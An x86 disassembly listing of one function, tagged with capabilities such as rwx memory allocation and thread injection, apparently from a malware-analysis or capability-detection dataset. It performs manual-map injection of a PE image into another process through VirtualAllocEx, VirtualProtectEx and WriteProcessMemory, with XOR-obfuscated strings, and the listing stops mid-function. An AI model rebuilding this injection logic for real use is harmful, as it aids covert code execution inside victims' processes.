Function at 0x402d80
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bdb6
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x13c0
call fcn.00413310
mov eax, dword [0x437080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x2d0], 0
mov eax, dword [ebx + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x40303a
xor edx, edx
mov byte [ebp - 0x2dd], dl
xor eax, eax
mov byte [ebp - 0x2de], al
mov cl, byte [ebp - 0x2dd]
mov byte [ebp - 0x3a4], cl
mov dl, byte [ebp - 0x2de]
mov byte [ebp - 0x3a8], dl
mov eax, 0xb29de527
mov dword [ebp - 0x498], 0xb817840
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x498]
mov edx, dword [ebp - 0x494]
mov dword [ebp - 0x4a0], ecx
mov dword [ebp - 0x49c], edx
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x4a8], 0x1bede693
mov dword [ebp - 0x4a4], edx
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov edx, dword [ebp - 0x4b0]
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x9b8], edx
mov dword [ebp - 0x9b4], eax
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 0x954], ecx
mov edx, dword [ebp - 0x954]
mov dword [ebp - 0x334], edx
mov eax, 0x82bec575
mov dword [ebp - 0x4b8], 0x44d32a05
mov dword [ebp - 0x4b4], eax
mov ecx, dword [ebp - 0x4b8]
mov edx, dword [ebp - 0x4b4]
mov dword [ebp - 0x4c0], ecx
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x4c8], 0x1bede6a2
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c8]
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4d0]
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], eax
xor ecx, ecx
je 0x402f57
jmp 0x402f9a
movaps xmm0, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x13c0], xmm0
mov edx, dword [ebp - 0x334]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x11e0], xmm0
movaps xmm0, xmmword [ebp - 0x11e0]
xorps xmm0, xmmword [ebp - 0x13c0]
movaps xmmword [ebp - 0x10c0], xmm0
movaps xmm0, xmmword [ebp - 0x10c0]
mov eax, dword [ebp - 0x334]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x402fa5
jmp 0x402fec
movaps xmm0, xmmword [ebp - 0xb0]
movaps xmmword [ebp - 0x10e0], xmm0
mov edx, dword [ebp - 0x334]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0x10d0], xmm0
movaps xmm0, xmmword [ebp - 0x10d0]
xorps xmm0, xmmword [ebp - 0x10e0]
movaps xmmword [ebp - 0x10f0], xmm0
movaps xmm0, xmmword [ebp - 0x10f0]
mov eax, dword [ebp - 0x334]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x334]
mov dword [ebp - 0x958], ecx
mov edx, dword [ebp - 0x958]
push edx
lea ecx, [ebp - 0x11f8]
call fcn.0040c070
mov dword [ebp - 4], 0
lea eax, [ebp - 0x11f8]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11f8]
call fcn.0040ce00
nop
xor al, al
jmp 0x4061da
mov ecx, dword [ebx + 0xc]
mov edx, dword [ebx + 0xc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x2d4], edx
mov eax, dword [ebp - 0x2d4]
add eax, 0x18
mov dword [ebp - 0x3b0], eax
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
mov dword [ebp - 0x320], ecx
mov edx, dword [ebp - 0x320]
movzx eax, word [edx]
cmp eax, 0x14c
je 0x4032b1
xor ecx, ecx
mov byte [ebp - 0x2df], cl
xor edx, edx
mov byte [ebp - 0x2e0], dl
mov al, byte [ebp - 0x2df]
mov byte [ebp - 0x420], al
mov cl, byte [ebp - 0x2e0]
mov byte [ebp - 0x41c], cl
mov edx, 0xb29de527
mov dword [ebp - 0x4d8], 0xb817840
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x4d4]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov edx, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x9d0], edx
mov dword [ebp - 0x9cc], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x4e8], 0x1bede690
mov dword [ebp - 0x4e4], ecx
mov edx, dword [ebp - 0x4e8]
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x4f0], edx
mov dword [ebp - 0x4ec], eax
mov ecx, dword [ebp - 0x4f0]
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x9c8], ecx
mov dword [ebp - 0x9c4], edx
lea eax, [ebp - 0x9d0]
mov dword [ebp - 0x95c], eax
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x338], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x4f8], 0x44d32a05
mov dword [ebp - 0x4f4], edx
mov eax, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov edx, dword [ebp - 0x500]
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0xdc], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x508], 0x1bede6a2
mov dword [ebp - 0x504], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x510], edx
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ebp - 0x50c]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xd4], edx
xor eax, eax
je 0x4031d5
jmp 0x403218
movaps xmm0, xmmword [ebp - 0xe0]
movaps xmmword [ebp - 0x1110], xmm0
mov ecx, dword [ebp - 0x338]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1100], xmm0
movaps xmm0, xmmword [ebp - 0x1100]
xorps xmm0, xmmword [ebp - 0x1110]
movaps xmmword [ebp - 0x1120], xmm0
movaps xmm0, xmmword [ebp - 0x1120]
mov edx, dword [ebp - 0x338]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x403223
jmp 0x40326a
movaps xmm0, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x1140], xmm0
mov ecx, dword [ebp - 0x338]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0x1130], xmm0
movaps xmm0, xmmword [ebp - 0x1130]
xorps xmm0, xmmword [ebp - 0x1140]
movaps xmmword [ebp - 0x1150], xmm0
movaps xmm0, xmmword [ebp - 0x1150]
mov edx, dword [ebp - 0x338]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x960], eax
mov ecx, dword [ebp - 0x960]
push ecx
lea ecx, [ebp - 0x1210]
call fcn.0040c070
mov dword [ebp - 4], 1
lea edx, [ebp - 0x1210]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1210]
call fcn.0040ce00
nop
push 4
push 0x3000
mov eax, dword [ebp - 0x3b0]
mov ecx, dword [eax + 0x38]
push ecx
push 0
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0
jne 0x40351e
xor eax, eax
mov byte [ebp - 0x2e1], al
xor ecx, ecx
mov byte [ebp - 0x2e2], cl
mov dl, byte [ebp - 0x2e1]
mov byte [ebp - 0x418], dl
mov al, byte [ebp - 0x2e2]
mov byte [ebp - 0x414], al
mov ecx, 0xb29de527
mov dword [ebp - 0x518], 0xb817840
mov dword [ebp - 0x514], ecx
mov edx, dword [ebp - 0x518]
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x520], edx
mov dword [ebp - 0x51c], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x9e0], ecx
mov dword [ebp - 0x9dc], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x528], 0x1bede691
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x528]
mov edx, dword [ebp - 0x524]
mov dword [ebp - 0x530], ecx
mov dword [ebp - 0x52c], edx
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x52c]
mov dword [ebp - 0x9d8], eax
mov dword [ebp - 0x9d4], ecx
lea edx, [ebp - 0x9e0]
mov dword [ebp - 0x964], edx
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x33c], eax
mov ecx, 0x82bec575
mov dword [ebp - 0x538], 0x44d32a05
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x540], edx
mov dword [ebp - 0x53c], eax
mov ecx, dword [ebp - 0x540]
mov edx, dword [ebp - 0x53c]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x548], 0x1bede6a2
mov dword [ebp - 0x544], eax
mov ecx, dword [ebp - 0x548]
mov edx, dword [ebp - 0x544]
mov dword [ebp - 0x550], ecx
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x550]
mov ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
xor edx, edx
je 0x40343b
jmp 0x40347e
movaps xmm0, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x1170], xmm0
mov eax, dword [ebp - 0x33c]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1160], xmm0
movaps xmm0, xmmword [ebp - 0x1160]
xorps xmm0, xmmword [ebp - 0x1170]
movaps xmmword [ebp - 0x1180], xmm0
movaps xmm0, xmmword [ebp - 0x1180]
mov ecx, dword [ebp - 0x33c]
movups xmmword [ecx], xmm0
mov edx, 1
test edx, edx
je 0x403489
jmp 0x4034d0
movaps xmm0, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x11a0], xmm0
mov eax, dword [ebp - 0x33c]
movups xmm0, xmmword [eax + 0x10]
movaps xmmword [ebp - 0x1190], xmm0
movaps xmm0, xmmword [ebp - 0x1190]
xorps xmm0, xmmword [ebp - 0x11a0]
movaps xmmword [ebp - 0x11b0], xmm0
movaps xmm0, xmmword [ebp - 0x11b0]
mov ecx, dword [ebp - 0x33c]
add ecx, 0x10
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x33c]
mov dword [ebp - 0x968], edx
mov eax, dword [ebp - 0x968]
push eax
lea ecx, [ebp - 0x1228]
call fcn.0040c070
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x1228]
push ecx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1228]
call fcn.0040ce00
nop
xor al, al
jmp 0x4061da
mov dword [ebp - 0x290], 0
lea edx, [ebp - 0x290]
push edx
push 0x40
mov eax, dword [ebp - 0x3b0]
mov ecx, dword [eax + 0x38]
push ecx
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor ecx, ecx
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x2a8], ecx
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x294], ecx
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2ac], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a8], eax
mov byte [ebx + 0x20], 0
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [ebx + 0x24]
mov dword [ebp - 0x29c], edx
mov eax, dword [ebx + 0x28]
mov dword [ebp - 0x298], eax
movzx ecx, byte [ebx + 0x20]
mov dword [ebp - 0x294], ecx
push 0
push 0x1000
mov edx, dword [ebx + 0xc]
push edx
mov eax, dword [ebp - 0x2d0]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x403822
xor edx, edx
mov byte [ebp - 0x2e3], dl
xor eax, eax
mov byte [ebp - 0x2e4], al
mov cl, byte [ebp - 0x2e3]
mov byte [ebp - 0x410], cl
mov dl, byte [ebp - 0x2e4]
mov byte [ebp - 0x40c], dl
mov eax, 0xb29de527
mov dword [ebp - 0x558], 0xb817840
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x554]
mov dword [ebp - 0x560], ecx
mov dword [ebp - 0x55c], edx
mov eax, dword [ebp - 0x560]
mov ecx, dword [ebp - 0x55c]
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x9ec], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x568], 0x1bede696
mov dword [ebp - 0x564], edx
mov eax, dword [ebp - 0x568]
mov ecx, dword [ebp - 0x564]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov edx, dword [ebp - 0x570]
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x9e8], edx
mov dword [ebp - 0x9e4], eax
lea ecx, [ebp - 0x9f0]
mov dword [ebp - 0x96c], ecx
mov edx, dword [ebp - 0x96c]
mov dword [ebp - 0x340], edx
mov eax, 0x82bec575
mov dword [ebp - 0x578], 0x44d32a05
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], edx
mov eax, dword [ebp - 0x580]
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x588], 0x1bede6a2
mov dword [ebp - 0x584], edx
mov eax, dword [ebp - 0x588]
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov edx, dword [ebp - 0x590]
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
xor ecx, ecx
je 0x40372d
jmp 0x40376d
movaps xmm0, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x11d0], xmm0
mov edx, dword [ebp - 0x340]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x11c0], xmm0
movaps xmm0, xmmword [ebp - 0x11c0]
xorps xmm0, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0xaf0], xmm0
movaps xmm0, xmmword [ebp - 0xaf0]
mov eax, dword [ebp - 0x340]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x403778
jmp 0x4037bc
movaps xmm0, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0xb10], xmm0
mov edx, dword [ebp - 0x340]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0xb00], xmm0
movaps xmm0, xmmword [ebp - 0xb00]
xorps xmm0, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb20], xmm0
movaps xmm0, xmmword [ebp - 0xb20]
mov eax, dword [ebp - 0x340]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x340]
mov dword [ebp - 0x970], ecx
mov edx, dword [ebp - 0x970]
push edx
lea ecx, [ebp - 0x1240]
call fcn.0040c070
mov dword [ebp - 4], 3
lea eax, [ebp - 0x1240]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1240]
call fcn.0040ce00
nop
push 0x8000
push 0
mov ecx, dword [ebp - 0x2d0]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
mov eax, dword [ebp - 0x2d4]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0x2d4]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x3b4], 0
jmp 0x403866
mov ecx, dword [ebp - 0x3b4]
add ecx, 1
mov dword [ebp - 0x3b4], ecx
mov edx, dword [ebp - 0x2cc]
add edx, 0x28
mov dword [ebp - 0x2cc], edx
mov eax, dword [ebp - 0x320]
movzx ecx, word [eax + 2]
cmp dword [ebp - 0x3b4], ecx
je 0x403b0f
mov edx, dword [ebp - 0x2cc]
cmp dword [edx + 0x10], 0
je 0x403b0a
push 0
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x2cc]
mov eax, dword [ebx + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ebp - 0x2d0]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x403b0a
xor ecx, ecx
mov byte [ebp - 0x2e5], cl
xor edx, edx
mov byte [ebp - 0x2e6], dl
mov al, byte [ebp - 0x2e5]
mov byte [ebp - 0x408], al
mov cl, byte [ebp - 0x2e6]
mov byte [ebp - 0x404], cl
mov edx, 0xb29de527
mov dword [ebp - 0x598], 0xb817840
mov dword [ebp - 0x594], edx
mov eax, dword [ebp - 0x598]
mov ecx, dword [ebp - 0x594]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov edx, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0xa00], edx
mov dword [ebp - 0x9fc], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x5a8], 0x1bede697
mov dword [ebp - 0x5a4], ecx
mov edx, dword [ebp - 0x5a8]
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5b0], edx
mov dword [ebp - 0x5ac], eax
mov ecx, dword [ebp - 0x5b0]
mov edx, dword [ebp - 0x5ac]
mov dword [ebp - 0x9f8], ecx
mov dword [ebp - 0x9f4], edx
lea eax, [ebp - 0xa00]
mov dword [ebp - 0x974], eax
mov ecx, dword [ebp - 0x974]
mov dword [ebp - 0x344], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x5b8], 0x44d32a05
mov dword [ebp - 0x5b4], edx
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5b4]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov edx, dword [ebp - 0x5c0]
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x5c8], 0x1bede6a2
mov dword [ebp - 0x5c4], ecx
mov edx, dword [ebp - 0x5c8]
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x5d0], edx
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x5d0]
mov edx, dword [ebp - 0x5cc]
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], edx
xor eax, eax
je 0x403a15
jmp 0x403a55
movaps xmm0, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0xb40], xmm0
mov ecx, dword [ebp - 0x344]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xb30], xmm0
movaps xmm0, xmmword [ebp - 0xb30]
xorps xmm0, xmmword [ebp - 0xb40]
movaps xmmword [ebp - 0xb50], xmm0
movaps xmm0, xmmword [ebp - 0xb50]
mov edx, dword [ebp - 0x344]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x403a60
jmp 0x403aa4
movaps xmm0, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0xb70], xmm0
mov ecx, dword [ebp - 0x344]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xb60], xmm0
movaps xmm0, xmmword [ebp - 0xb60]
xorps xmm0, xmmword [ebp - 0xb70]
movaps xmmword [ebp - 0xf50], xmm0
movaps xmm0, xmmword [ebp - 0xf50]
mov edx, dword [ebp - 0x344]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x978], eax
mov ecx, dword [ebp - 0x978]
push ecx
lea ecx, [ebp - 0x1258]
call fcn.0040c070
mov dword [ebp - 4], 4
lea edx, [ebp - 0x1258]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1258]
call fcn.0040ce00
nop
push 0x8000
push 0
mov eax, dword [ebp - 0x2d0]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
jmp 0x403848
push 4
push 0x3000
push 0x1c
push 0
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jne 0x403d7a
xor eax, eax
mov byte [ebp - 0x2e7], al
xor ecx, ecx
mov byte [ebp - 0x2e8], cl
mov dl, byte [ebp - 0x2e7]
mov byte [ebp - 0x424], dl
mov al, byte [ebp - 0x2e8]
mov byte [ebp - 0x3fc], al
mov ecx, 0xb29de527
mov dword [ebp - 0x5d8], 0xb817840
mov dword [ebp - 0x5d4], ecx
mov edx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x5e0], edx
mov dword [ebp - 0x5dc], eax
mov ecx, dword [ebp - 0x5e0]
mov edx, dword [ebp - 0x5dc]
mov dword [ebp - 0xa10], ecx
mov dword [ebp - 0xa0c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x5e8], 0x1bede694
mov dword [ebp - 0x5e4], eax
mov ecx, dword [ebp - 0x5e8]
mov edx, dword [ebp - 0x5e4]
mov dword [ebp - 0x5f0], ecx
mov dword [ebp - 0x5ec], edx
mov eax, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0xa08], eax
mov dword [ebp - 0xa04], ecx
lea edx, [ebp - 0xa10]
mov dword [ebp - 0x97c], edx
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0x30c], eax
mov ecx, 0x82bec575
mov dword [ebp - 0x5f8], 0x44d32a05
mov dword [ebp - 0x5f4], ecx
mov edx, dword [ebp - 0x5f8]
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x600], edx
mov dword [ebp - 0x5fc], eax
mov ecx, dword [ebp - 0x600]
mov edx, dword [ebp - 0x5fc]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x608], 0x1bede6a2
mov dword [ebp - 0x604], eax
mov ecx, dword [ebp - 0x608]
mov edx, dword [ebp - 0x604]
mov dword [ebp - 0x610], ecx
mov dword [ebp - 0x60c], edx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xor edx, edx
je 0x403c85
jmp 0x403cc5
movaps xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0xb90], xmm0
mov eax, dword [ebp - 0x30c]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xb80], xmm0
movaps xmm0, xmmword [ebp - 0xb80]
xorps xmm0, xmmword [ebp - 0xb90]
movaps xmmword [ebp - 0xba0], xmm0
movaps xmm0, xmmword [ebp - 0xba0]
mov ecx, dword [ebp - 0x30c]
movups xmmword [ecx], xmm0
mov edx, 1
test edx, edx
je 0x403cd0
jmp 0x403d14
movaps xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0xbc0], xmm0
mov eax, dword [ebp - 0x30c]
movups xmm0, xmmword [eax + 0x10]
movaps xmmword [ebp - 0xbb0], xmm0
movaps xmm0, xmmword [ebp - 0xbb0]
xorps xmm0, xmmword [ebp - 0xbc0]
movaps xmmword [ebp - 0xbd0], xmm0
movaps xmm0, xmmword [ebp - 0xbd0]
mov ecx, dword [ebp - 0x30c]
add ecx, 0x10
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x30c]
mov dword [ebp - 0x980], edx
mov eax, dword [ebp - 0x980]
push eax
lea ecx, [ebp - 0x1270]
call fcn.0040c070
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x1270]
push ecx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1270]
call fcn.0040ce00
nop
push 0x8000
push 0
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
push 0
push 0x1c
lea ecx, [ebp - 0x2ac]
push ecx
mov edx, dword [ebp - 0x2d8]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40400b
xor ecx, ecx
mov byte [ebp - 0x2e9], cl
xor edx, edx
mov byte [ebp - 0x2ea], dl
mov al, byte [ebp - 0x2e9]
mov byte [ebp - 0x3f8], al
mov cl, byte [ebp - 0x2ea]
mov byte [ebp - 0x400], cl
mov edx, 0xb29de527
mov dword [ebp - 0x618], 0xb817840
mov dword [ebp - 0x614], edx
mov eax, dword [ebp - 0x618]
mov ecx, dword [ebp - 0x614]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov edx, dword [ebp - 0x620]
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0xa20], edx
mov dword [ebp - 0xa1c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x628], 0x1bede695
mov dword [ebp - 0x624], ecx
mov edx, dword [ebp - 0x628]
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x630], edx
mov dword [ebp - 0x62c], eax
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x62c]
mov dword [ebp - 0xa18], ecx
mov dword [ebp - 0xa14], edx
lea eax, [ebp - 0xa20]
mov dword [ebp - 0x984], eax
mov ecx, dword [ebp - 0x984]
mov dword [ebp - 0x35c], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x638], 0x44d32a05
mov dword [ebp - 0x634], edx
mov eax, dword [ebp - 0x638]
mov ecx, dword [ebp - 0x634]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov edx, dword [ebp - 0x640]
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x280], edx
mov dword [ebp - 0x27c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x648], 0x1bede6a2
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x648]
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x650], edx
mov dword [ebp - 0x64c], eax
mov ecx, dword [ebp - 0x650]
mov edx, dword [ebp - 0x64c]
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x274], edx
xor eax, eax
je 0x403ef8
jmp 0x403f3b
movaps xmm0, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0xbf0], xmm0
mov ecx, dword [ebp - 0x35c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xbe0], xmm0
movaps xmm0, xmmword [ebp - 0xbe0]
xorps xmm0, xmmword [ebp - 0xbf0]
movaps xmmword [ebp - 0xc00], xmm0
movaps xmm0, xmmword [ebp - 0xc00]
mov edx, dword [ebp - 0x35c]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x403f46
jmp 0x403f8d
movaps xmm0, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0xc20], xmm0
mov ecx, dword [ebp - 0x35c]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xc10], xmm0
movaps xmm0, xmmword [ebp - 0xc10]
xorps xmm0, xmmword [ebp - 0xc20]
movaps xmmword [ebp - 0xc30], xmm0
movaps xmm0, xmmword [ebp - 0xc30]
mov edx, dword [ebp - 0x35c]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x988], eax
mov ecx, dword [ebp - 0x988]
push ecx
lea ecx, [ebp - 0x1288]
call fcn.0040c070
mov dword [ebp - 4], 6
lea edx, [ebp - 0x1288]
push edx
call fcn.00402960
